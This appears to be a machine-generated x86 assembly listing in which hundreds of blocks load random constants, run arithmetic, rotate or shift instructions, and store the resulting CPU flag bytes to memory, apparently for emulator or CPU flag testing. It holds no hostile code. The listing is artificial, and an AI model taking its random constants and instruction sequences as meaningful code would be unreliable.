mov ecx, 0x1dda87b4
dec ecx
mov eax, 0x3da69346
mov ecx, 0x5b0172bb
rol eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x5ff569cc
dec ebx
mov eax, 0xb1c4c780
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x67cf5767
aaa
mov edx, 0x87064d35
inc edx
mov edx, 0x7363ee2b
mov ecx, 0xd924313
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x1989b0a0
sal eax, 1
mov eax, 0xe67fa30d
mov ecx, 0x2b9eb751
rol eax, cl
mov ebx, 0x7496e220
dec ebx
mov ebx, 0x806e2859
mov ecx, 0x4be9242a
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xad95a2b7
mov ecx, 0xe94cc1f3
ror edx, cl
mov ebx, 0x3902f45c
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x3d7c6aea
aas
mov eax, 0x68f10dcc
sal eax, 1
mov ebx, 0x60620f74
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x506b279d
inc edx
mov ebx, 0x8847df3e
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x115e14c8
rol edx, 1
mov ecx, 0x2910cd21
dec ecx
mov eax, 0xa2883f9
mov ecx, 0x604b30f3
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x96bea73b
rol ebx, 1
mov edx, 0x320ff5c7
mov eax, 0x129cddab
sub edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xb4d23f4c
mov ecx, 0xc35d4779
rol eax, cl
mov edx, 0x4c1e911d
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x4cf7dc99
dec ebx
mov edx, 0xc193f98b
mov ecx, 0xf6824887
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x432cbaf
inc eax
mov ebx, 0x34711129
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x241c2991
sal eax, 1
mov eax, 0x11a13104
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x53d910fc
mov ecx, 0xee20a6cd
rol edx, cl
mov ebx, 0x699bf187
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xb40293a6
mov ecx, 0x814d35ec
rol ebx, cl
mov eax, 0x57bd59ad
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8a41e805
mov ecx, 0xdd28f389
rol edx, cl
mov ebx, 0x897da9df
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x307b1f6
mov ecx, 0x9c34d915
sub ebx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x272ade76
rol edx, 1
mov edx, 0x20939caa
rol edx, 1
mov eax, 0xb1fca8d0
aas
mov ebx, 0x8e39cc07
sal ebx, 1
mov edx, 0x64734bdb
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5c1d72f9
dec ebx
mov ebx, 0xdeac9bc
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3ecb69b4
sal edx, 1
mov edx, 0x7377251d
rol edx, 1
mov eax, 0xcb81b007
sar eax, 0x93
mov ebx, 0x285b9420
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x331a5484
cmp edx, 0xde4b63f7
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xcbc32673
mov ecx, 0xb72fe1e
rol ebx, cl
mov eax, 0x1cb18ff8
sar eax, 0x9a
mov eax, 0x55709b78
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb207d4ae
mov ecx, 0x50466bdf
sal edx, cl
mov eax, 0x3dc7cee9
neg eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x798cd927
mov ecx, 0x1ebfe3ca
rol ebx, cl
mov ecx, 0xf58951cf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x99a80cb5
mov ecx, 0x7dcbee92
ror ebx, cl
mov edx, 0x2ba70749
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x25b5944e
mov eax, 0x644a13c1
sub edx, eax
mov eax, 0xce84dfe6
aaa
mov eax, 0xec695ec2
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbdabe14a
inc ebx
mov edx, 0xe0b4035c
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa2954804
rol eax, 1
mov ebx, 0xe277e8ed
mov ecx, 0x3c768b34
rol ebx, cl
mov edx, 0xa2816c44
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x69d459f
mov eax, 0xd7121327
sub edx, eax
mov eax, 0x6c55f5e9
aaa
mov ecx, 0xa75b138e
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8f40af05
shl ebx, 1
mov eax, 0x2c6e85a0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xbed0c8d3
mov ecx, 0xcec96b2b
add edx, ecx
mov eax, 0x97e80d30
aaa
mov eax, 0x7c008ffc
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xbafd78df
mov ecx, 0xab546437
ror edx, cl
mov ecx, 0x4cb54540
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2da27bdf
inc ecx
mov eax, 0x81ee75a6
mov ecx, 0x6369696c
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe0c69f38
dec eax
mov ebx, 0x4352f952
mov ecx, 0x7bddbffa
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4c62cacc
sal edx, 1
mov edx, 0xccae8e26
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x1a3651a6
mov eax, 0xcd375b79
sub ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7bc59967
mov ecx, 0x523c1846
ror ebx, cl
mov eax, 0x7227df22
mov ecx, 0x7ce66407
rol eax, cl
mov eax, 0x42be046f
mov ecx, 0x6579bdef
rol eax, cl
mov edx, 0xe9b3a320
neg edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xdf5d0488
sub ebx, 0xa0d20143
mov edx, 0xd8303b40
rol edx, 1
mov eax, 0x77e16d30
add eax, 0xc9061b2f
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe5db0620
mov ecx, 0xc878046c
add edx, ecx
mov eax, 0x3553c2a4
aas
mov ecx, 0xe38915cf
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x42663408
mov edx, 0x89a7eca3
cmp eax, edx
mov eax, 0xc0f9717b
aaa
mov eax, 0xeb5081aa
neg eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x51b0ce0e
shl eax, 1
mov ecx, 0xa55ba97f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1ec2459f
mov ecx, 0xdf0d1bac
rol ebx, cl
mov ebx, 0xb7f65d5a
mov edx, 0x77f721f1
sub ebx, edx
mov eax, 0x781dc474
aas
mov ecx, 0x22af5faf
inc ecx
mov edx, 0x3acb9555
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x59f2e06e
mov ecx, 0x48fdd074
rol eax, cl
mov edx, 0x354a2f9b
rol edx, 1
mov edx, 0x178498ca
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9687f6f1
sal eax, 0x84
mov ecx, 0x1b02790f
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x140ca2cf
inc ebx
mov ebx, 0x900e771a
mov ecx, 0x56097a4d
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xec7d7e66
shl edx, 1
mov edx, 0x2840947e
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa7b31e62
dec eax
mov edx, 0xe49cd2e9
mov ecx, 0xc0f2456
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc6a00e62
rol ebx, 1
mov eax, 0x4a0b2f0f
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x2cd769b0
sal edx, 1
mov edx, 0xf9c7cbff
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb019d7ff
aas
mov eax, 0x15b61212
inc eax
mov ebx, 0xf3532b8a
mov ecx, 0xd742b8a1
rol ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x2ef96d43
mov ebx, 0xe3e8b81
add edx, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb323db39
mov edx, 0x20205c38
cmp ebx, edx
mov eax, 0x68767a2f
aaa
mov ebx, 0x83b291af
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3d623e2c
mov ecx, 0xd42d9816
ror edx, cl
mov edx, 0x66c39dd5
mov ecx, 0x3272b3e9
rol edx, cl
mov eax, 0x5535d530
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf487b37a
sub ecx, 0x6fb44945
mov eax, 0xee9efa4e
aas
mov ebx, 0x557c5caf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x682fc970
dec eax
mov ebx, 0x7a7d7a67
mov ecx, 0xb8d4ff10
rol ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xcc07a44e
mov edx, 0x31348c21
cmp ebx, edx
mov eax, 0xf059751d
aas
mov ecx, 0xabdae210
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xdc321828
mov ecx, 0x6c3da2da
rol eax, cl
mov ebx, 0x472c95aa
inc ebx
mov eax, 0xb5e29bec
mov ecx, 0xdead5823
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe43ee51e
mov ecx, 0x9cf951fa
rol edx, cl
mov eax, 0x836fcef0
rol eax, 1
mov ebx, 0xf126aef7
rol ebx, 1
mov edx, 0x9480c2e4
mov ecx, 0xbd030577
rol edx, cl
mov eax, 0xe22dcf90
mov ecx, 0x314428c5
shl eax, cl
mov eax, 0x75286640
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xc0a3201a
mov ecx, 0x47d2f5a6
shl ebx, cl
mov edx, 0xe015f8af
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xfccd7d1c
mov ecx, 0x92643b1c
sal eax, cl
mov eax, 0x876d60c6
aaa
mov eax, 0xf6ab63be
mov ecx, 0xf0faded0
shl eax, cl
mov ecx, 0x404d2f60
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x7c26deb5
inc ecx
mov ebx, 0xc780107d
mov ecx, 0xdc031fb9
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbee6ebd6
rol edx, 1
mov eax, 0xb58c887
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x23b39336
mov ecx, 0xd22f9f4
rol ebx, cl
mov edx, 0xaaa58ebd
mov ecx, 0x709c202e
rol edx, cl
mov edx, 0xf58af00a
mov ecx, 0x33f57cea
rol edx, cl
mov eax, 0xabe2d88c
sub eax, 0x3b736310
mov eax, 0xb060ada
aaa
mov ecx, 0x8c1910c0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xecddc5c8
mov edx, 0x6052bea6
cmp eax, edx
mov eax, 0x1f38563a
aas
mov eax, 0xa45529fe
rol eax, 1
mov ebx, 0xbdd2b361
mov ecx, 0x505de409
rol ebx, cl
mov eax, 0x18643cff
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8d328cfc
sar edx, 0xda
mov edx, 0x535f6752
mov ecx, 0xbffee421
sal edx, cl
mov ecx, 0x4b559e6f
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x6aa47bdf
inc edx
mov ebx, 0x8d10ddfa
mov ecx, 0xfdd3605e
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x32287de
cmp ecx, 0xe1b38cc7
mov eax, 0xe60f0cd4
aaa
mov ecx, 0x501e94ca
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x80f7179e
rol edx, 1
mov ebx, 0x3593b1b0
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x17daf0ec
mov ecx, 0x2d85ac0c
ror edx, cl
mov eax, 0x32c15f02
mov ecx, 0xd7a89865
sal eax, cl
mov ebx, 0x39fddb3e
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x65bbd91e
mov ecx, 0x724aeafb
ror edx, cl
mov edx, 0x4d8f07d2
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xfeb48639
sub ecx, 0x7add8584
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x28952e01
mov ecx, 0x704c0cda
ror eax, cl
mov edx, 0x790a4211
mov ecx, 0xc57b9c0d
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe9b079bd
aaa
mov ecx, 0xf32fd69f
inc ecx
mov eax, 0x9e4198bb
mov ecx, 0xc12843bb
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xe53b0d42
mov eax, 0xc4584df5
add ebx, eax
mov eax, 0xfe225f84
aas
mov ebx, 0x2f7ad7fc
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6b2a157f
shl ebx, 1
mov edx, 0x35820a26
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd5e8cf2a
shl ebx, 1
mov ebx, 0x3990c823
mov ecx, 0x8c53c144
rol ebx, cl
mov ebx, 0x2ff940df
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdd89124
rol eax, 1
mov eax, 0xbc755a7b
mov ecx, 0x67ac3bd5
shl eax, cl
mov ebx, 0x2337dc00
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xb03c7a22
mov ecx, 0x422f274a
rol ebx, cl
mov ecx, 0x5ea0d9e0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x61b86597
mov ecx, 0x1c1bb5dd
ror edx, cl
mov ebx, 0x6bc9ec74
dec ebx
mov edx, 0xcdda7021
mov ecx, 0xfb85b04e
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3e32aefc
mov ecx, 0x163d0136
rol ebx, cl
mov edx, 0x771d581f
inc edx
mov edx, 0x922432e4
mov ecx, 0x5ab7f6d0
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x59c0ed8a
mov ecx, 0x4f431030
rol eax, cl
mov eax, 0x364c0a3e
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x3326d41d
shl eax, 0x66
mov ebx, 0x7703dbe8
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x41f1fd49
rol edx, 1
mov ebx, 0x42791f08
mov ecx, 0xf340572f
ror ebx, cl
mov edx, 0xea588d70
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7eb36a14
mov ecx, 0xf422a036
ror edx, cl
mov ebx, 0xe57a9236
dec ebx
mov ebx, 0xdf4694bd
mov ecx, 0xff2164eb
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x34e17fc6
mov ecx, 0xe48bcce
rol ebx, cl
mov edx, 0xb0cbd18f
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xcfdd32bf
sal ebx, 1
mov edx, 0x8cd9b26e
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7e381e6d
rol ebx, 1
mov ebx, 0xe90230a3
rol ebx, 1
mov edx, 0x5f34395
sal edx, 1
mov ebx, 0x59dce0ac
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8745c88
mov ecx, 0x784751b9
sal ebx, cl
mov edx, 0x3a992969
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x22f8f068
mov ecx, 0x1a5b42df
rol edx, cl
mov ebx, 0xac0d4648
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x2341ec6f
neg edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x666ceb5d
mov ecx, 0x331f0162
rol eax, cl
mov edx, 0x4ee8e8b6
shl edx, 0x7b
mov ebx, 0xc1fb5200
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xcfc78a60
neg ecx
mov ebx, 0x4d333541
mov ecx, 0x98f03ac5
add ebx, ecx
mov ecx, 0x5286e10f
add ecx, 0x2747584f
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb83f73d3
mov ecx, 0x2c5ec0a8
rol edx, cl
mov eax, 0x7037284a
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x690eb2e6
mov ecx, 0xf30902ec
rol ebx, cl
mov edx, 0xfa41ab22
mov ecx, 0xd28e3f7
ror edx, cl
mov edx, 0xdb355d3d
sal edx, 1
mov edx, 0x3f88a5e0
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x2f30a5b6
mov ecx, 0x54735459
ror edx, cl
mov ebx, 0xbf931ce
mov ecx, 0xf2c0ecb0
rol ebx, cl
mov edx, 0x41316210
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x771c5a20
mov edx, 0x6f257fc5
cmp ebx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x8823b35e
mov ecx, 0x7d527306
ror eax, cl
mov edx, 0xe94ebbe5
mov ecx, 0x4c4948b5
sar edx, cl
mov edx, 0xcb2e6f7
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x48f8e7e0
dec edx
mov edx, 0xfca4c64c
mov ecx, 0xdf37ef45
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x3c3c22b1
dec ecx
mov edx, 0xd6d42d3a
mov ecx, 0x4272f17
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x1cbe198c
aaa
mov edx, 0xf67a1a48
mov eax, 0x4e2b0886
sub edx, eax
mov eax, 0x4f347db2
aaa
mov eax, 0x1659b322
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xccde358c
mov eax, 0xebf8513
sub ecx, eax
mov eax, 0x5d51c4cf
aaa
mov ecx, 0xd145d5ff
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd85477ce
mov ecx, 0x1ba78e5c
ror ebx, cl
mov eax, 0xd89f4b3e
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x2b16350e
mov ecx, 0x3c97d12d
sub edx, ecx
mov eax, 0xf303f6b8
rol eax, 1
mov ecx, 0x1625d64
add ecx, 0xa2f32fcc
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x7d6b6137
dec ecx
mov eax, 0x8712e293
mov ecx, 0x769d25ab
rol eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xdc555d13
rol eax, 1
mov eax, 0xbe1a42ab
mov ebx, 0xd4b5928
sub eax, ebx
mov eax, 0xbf40ef68
aas
mov edx, 0x601f3ac6
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xe022a72a
sub edx, 0xfab339d7
mov edx, 0xc3dffb68
sub edx, 0x882c14c3
mov eax, 0xa54cc619
mov ecx, 0xa17fcb3e
ror eax, cl
mov ebx, 0x4177aa81
rol ebx, 1
mov edx, 0x7667260f
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x5035a25a
sal edx, 6
mov ebx, 0x2317f9c5
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5e0f9cf3
mov ecx, 0x876e3aaa
ror eax, cl
mov eax, 0x3888d28b
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe8ff046d
rol eax, 1
mov edx, 0x775c27d5
rol edx, 1
mov ebx, 0x79067360
rol ebx, 1
mov ebx, 0xdd60b73d
mov eax, 0xb219770a
add ebx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xde54b96c
dec eax
mov edx, 0xe83e68c1
mov ecx, 0x30f9c9f7
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x12d83bef
aas
mov ebx, 0xe01c36ff
mov eax, 0x2425d2e3
cmp ebx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xea20703f
mov ecx, 0x6523e2ba
ror eax, cl
mov edx, 0x5002e2d0
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x9905fd19
rol ebx, 1
mov edx, 0xa5674251
mov ecx, 0x752662f2
ror edx, cl
mov edx, 0x81b0506d
mov ecx, 0x8299a44
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb8b300e1
rol eax, 1
mov eax, 0xbcfb83b5
sal eax, 1
mov ebx, 0xc1c16ba2
shl ebx, 1
mov eax, 0x5c91b
cmp eax, 0xb85a235e
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x62f127ed
sal edx, 1
mov ecx, 0x3ff3eec0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xea6158cb
inc edx
mov ebx, 0xcb9d917b
mov ecx, 0x1a7420ad
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x60362286
rol ebx, 1
mov eax, 0x338518ba
shl eax, 1
mov edx, 0x44ea7da9
mov ecx, 0xa4d54b9c
rol edx, cl
mov eax, 0x998d86c5
mov ecx, 0xaa249946
ror eax, cl
mov edx, 0x98c10160
dec edx
mov ebx, 0x474345d9
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3869fe88
mov ecx, 0x4af0d5df
rol edx, cl
mov edx, 0x261cb206
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xa323bf43
mov ecx, 0x2452f733
sar ebx, cl
mov edx, 0x416164f0
sal edx, 1
mov eax, 0x4470418e
rol eax, 1
mov ebx, 0x72a3ebaf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2157ccf
inc eax
mov ebx, 0xbad0a654
mov ecx, 0x4a93c3b2
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x5092292b
sub ebx, 0xfa631ce9
mov eax, 0xd9bfbd77
aaa
mov eax, 0x4bd52bdf
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x239f0fe5
mov edx, 0xccec8164
cmp ebx, edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xe96d1bf2
mov ecx, 0xcd840559
rol edx, cl
mov ebx, 0x162639ff
mov edx, 0x326731c0
add ebx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x4b2d14e6
add ebx, 0xe862a2c3
lahf
mov byte [edi], ah
inc edi
mov edx, 0xeae9ef04
mov eax, 0x336e1de1
sub edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x61342149
rol eax, 1
mov edx, 0x6dcfc008
neg edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc4a2c52b
sub ecx, 0x453380d8
mov eax, 0x6c1ceabc
aaa
mov edx, 0xa126e070
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdab983fd
mov ecx, 0xc4802517
rol eax, cl
mov ebx, 0x522d6121
dec ebx
mov ebx, 0xef61c76c
mov ecx, 0x22c8d549
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd1a40c3e
mov ecx, 0x6b0d2377
sub eax, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xe3e6afbe
shl ebx, 1
mov ebx, 0x68858f20
dec ebx
mov ebx, 0xe6a6186d
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6d182f6a
mov ecx, 0xf371161d
add ebx, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9fa94596
aaa
mov edx, 0x2a3a8bbf
rol edx, 1
mov edx, 0x58bb7a06
mov ecx, 0x514aed8f
ror edx, cl
mov ebx, 0x9d690c48
mov ecx, 0x23f0dc7e
ror ebx, cl
mov eax, 0x414e11af
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xe14e827
add eax, 0x46bdb663
mov eax, 0x91b99182
aas
mov ecx, 0xbac12ae
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x7c2740b0
mov ecx, 0x6ee67e3f
rol edx, cl
mov ebx, 0xa5bc2b69
sal ebx, 0x25
mov edx, 0x57aab343
rol edx, 1
mov eax, 0x8ed36799
sal eax, 0xa3
mov eax, 0x5598563
mov ecx, 0x75a01dc2
rol eax, cl
mov eax, 0x691d55f
mov ecx, 0x58b8f2c5
rol eax, cl
mov ebx, 0xc60619bb
cmp ebx, 0x54c7d9ed
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x2731b28c
mov ebx, 0xce167a83
cmp ecx, ebx
mov eax, 0x9f0f444
aas
mov ecx, 0x7525f49c
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x23ddab45
inc ebx
mov ebx, 0x20d9cff5
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1211f5a9
mov ecx, 0x6238f80a
rol eax, cl
mov eax, 0x80d6c740
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x8dba7fcf
mov ecx, 0x4ee547de
sal edx, cl
mov edx, 0xac47c1f5
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x2bc248e5
mov ecx, 0xd193f
sar eax, cl
mov edx, 0x3c594896
mov ecx, 0x28a0e374
sal edx, cl
mov eax, 0x75606153
mov ecx, 0x15631184
ror eax, cl
mov eax, 0x3d8f7bef
shl eax, 1
mov eax, 0x525f6d5c
aas
mov eax, 0xcbd6e2da
sal eax, 0x8d
mov ebx, 0xf7d4a4af
mov ecx, 0x927ae98
rol ebx, cl
mov ecx, 0xec15b910
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xce64efe5
mov ecx, 0xdff7b4db
rol ebx, cl
mov edx, 0xd6efb6c8
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x9894a28b
cmp edx, 0x3f3d5465
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x662cbec9
aaa
mov eax, 0x7156d78c
dec eax
mov eax, 0x93306c25
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x963ac4f0
aas
mov eax, 0xdc06b641
dec eax
mov edx, 0xa119578a
mov ecx, 0x2860711c
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4a8dc965
shl edx, 0xc2
mov eax, 0x352056e1
mov ecx, 0x8ed9d2d3
sub eax, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x9777d941
mov ecx, 0xa5760061
ror edx, cl
mov ecx, 0x322f9ccf
mov edx, 0xe03ca4dc
cmp ecx, edx
mov eax, 0x3827d41d
aaa
mov eax, 0x8acafa10
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9da69277
mov ecx, 0x3b01d456
ror edx, cl
mov edx, 0x2ecd3b
add edx, 0x47cf2dc1
mov eax, 0xe71db14b
aas
mov ecx, 0x71514750
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xdc9038c1
mov ecx, 0xdb539a7b
rol edx, cl
mov eax, 0x61cb0ec9
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xfc528750
mov edx, 0x9b2343c8
add eax, edx
mov eax, 0x664c521c
aaa
mov eax, 0x75096330
dec eax
mov edx, 0x14bb2c3
mov ecx, 0x21a2eca
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4ec37920
mov ecx, 0xba72a36e
ror ebx, cl
mov ebx, 0x141f0b2f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xdff2709
sub eax, 0xd7ccf358
mov ebx, 0x5f97f8a9
shl ebx, 1
mov eax, 0x465a127f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf0bded9a
mov ecx, 0x2014a42b
rol eax, cl
mov edx, 0x7f5f2f0f
dec edx
mov ebx, 0x48f18f1f
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x80ae2391
rol eax, 1
mov ebx, 0x67c8cce8
rol ebx, 1
mov eax, 0x13d1eaf0
dec eax
mov edx, 0x6c0951c0
mov ecx, 0x8910510f
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x79f42c49
inc ecx
mov edx, 0x4824c239
mov ecx, 0x28b7cc4e
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x734576a5
mov ecx, 0x77bc1f6b
ror ebx, cl
mov ebx, 0x254d891
mov ecx, 0xada75184
ror ebx, cl
mov edx, 0x47ecf75a
inc edx
mov eax, 0xf6d82499
mov ecx, 0x51bbf4e6
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x3d33c36f
